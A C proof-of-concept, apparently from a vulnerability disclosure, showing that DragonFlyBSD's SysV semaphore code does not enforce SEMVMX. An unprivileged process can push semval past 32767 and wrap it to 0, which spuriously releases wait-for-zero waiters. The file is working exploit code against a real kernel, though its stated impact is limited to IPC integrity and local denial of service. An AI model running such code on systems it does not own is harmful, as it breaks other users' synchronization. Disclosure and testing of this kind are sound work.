/*
 * DF-0046 PoC - missing SEMVMX upper-bound in semop/semexit -> semval (u_short)
 *              wraps past 65535 (POSIX/SVID SEMVMX violation) and can wrap to
 *              exactly 0, breaking SysV semaphore synchronization semantics.
 *
 * SEMVMX (32767) is exported to userland via seminfo and POSIX/SVID requires
 * semop to fail with ERANGE when an op would make semval exceed SEMVMX. The
 * DragonFly kernel never enforces the upper bound:
 *   - positive-op branch  sys/kern/sysv_sem.c:848-854  (semptr->semval += sem_op)
 *   - SETVAL              sys/kern/sysv_sem.c:530       (semptr->semval = real_arg.val;
 *                                                        real_arg.val is `int` -> u_short trunc)
 *   - semexit adjval      sys/kern/sysv_sem.c:1139      (semptr->semval += adjval)
 * The in-tree comment at :160 admits "SEMVMX unused - user param".
 *
 * semval is u_short (:40), so positive ops wrap past 65535. The wrap-to-0
 * case is the security-relevant one: a process blocked in semop(0)
 * (wait-for-zero, semzcnt) would be released even though the *logical* value
 * of the semaphore is large and positive -- broken mutual exclusion. No kernel
 * memory corruption (semval is a self-contained u_short field); impact is
 * IPC-state integrity / POSIX non-compliance / local DoS.
 *
 * Build (DragonFlyBSD):  cc -o sem_wrap sem_wrap.c
 * Run as an UNPRIVILEGED user.
 */

#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/wait.h>
#include <signal.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>

#define SEMVMX 32767

int
main(void)
{
	int id, v;

	/* ---- (1) POSIX violation: semval exceeds SEMVMX, no ERANGE ---- */
	id = semget(IPC_PRIVATE, 1, 0600 | IPC_CREAT);
	if (id < 0) err(1, "semget");

	struct sembuf up = { 0, SEMVMX, 0 };

	/* op1: 0 -> 32767 (== SEMVMX; POSIX allows). op2: 32767 -> 65534
	 * (> SEMVMX; POSIX REQUIRES ERANGE here -- DragonFly allows). */
	if (semop(id, &up, 1) < 0) err(1, "op1");
	if (semop(id, &up, 1) < 0) err(1, "op2 (POSIX says ERANGE; DragonFly allows)");
	/* Two more wrap u_short past 65535: 65534 + 32767 + 32767 = 131068
	 * mod 65536 = 65532. */
	semop(id, &up, 1);
	semop(id, &up, 1);

	v = semctl(id, 0, GETVAL);
	printf("[1] semval after four +%d ops = %d  (SEMVMX=%d, POSIX would have "
	    "ERANGE'd at op2)\n", SEMVMX, v, SEMVMX);
	if (v > SEMVMX)
		printf("    -> BUG CONFIRMED: semval %d > SEMVMX %d (no ERANGE)\n",
		    v, SEMVMX);
	else
		printf("    -> no bug: semval bounded by SEMVMX\n");

	semctl(id, 0, IPC_RMID);

	/* ---- (2) Wrap-to-0: +32767 + +32767 + +2 = 65536 mod 65536 = 0 ----
	 * A process blocked on semop(0) (wait-for-zero) is released even though
	 * the LOGICAL semaphore value is large and positive (65536). This breaks
	 * mutual exclusion for any SysV-sem user that relies on the zero state. */
	id = semget(IPC_PRIVATE, 1, 0600 | IPC_CREAT);
	if (id < 0) err(1, "semget(2)");

	pid_t p = fork();
	if (p < 0) err(1, "fork");
	if (p == 0) {
		/* Child: block on wait-for-zero. Should block indefinitely
		 * because the parent will only ever INCREMENT semval. On a
		 * buggy kernel, the wrap-to-0 spuriously releases us. */
		struct sembuf w0 = { 0, 0, 0 };
		_exit(semop(id, &w0, 1) == 0 ? 42 : 1);
	}

	/* Give the child a moment to enter semzcnt. */
	usleep(100000);

	/* Push the semaphore way past 65535 so it wraps to 0. Logical value
	 * is +65536 (held), but the u_short reads 0. */
	struct sembuf wrap[3] = {
		{ 0, SEMVMX, 0 }, { 0, SEMVMX, 0 }, { 0, 2, 0 },
	};
	if (semop(id, wrap, 3) < 0) err(1, "wrap op");

	int status = 0, rc;
	for (int i = 0; i < 30; i++) {
		rc = waitpid(p, &status, WNOHANG);
		if (rc == p) break;
		usleep(100000);
	}
	if (rc == p && WIFEXITED(status) && WEXITSTATUS(status) == 42) {
		printf("[2] wait-for-zero child RELEASED after wrap-to-0 "
		    "(semval logical=65536, u_short=0) -> BUG: spurious release, "
		    "mutual exclusion broken\n");
	} else if (rc == 0) {
		printf("[2] wait-for-zero child still blocked (correct; no wrap-to-0 spurious release)\n");
		kill(p, SIGKILL);
		waitpid(p, NULL, 0);
	} else {
		printf("[2] unexpected child state rc=%d status=%d\n", rc, status);
	}

	semctl(id, 0, IPC_RMID);
	return 0;
}
